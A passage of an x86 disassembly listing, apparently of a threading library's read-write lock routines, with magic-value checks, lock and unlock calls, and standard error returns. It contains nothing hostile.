		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510980
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

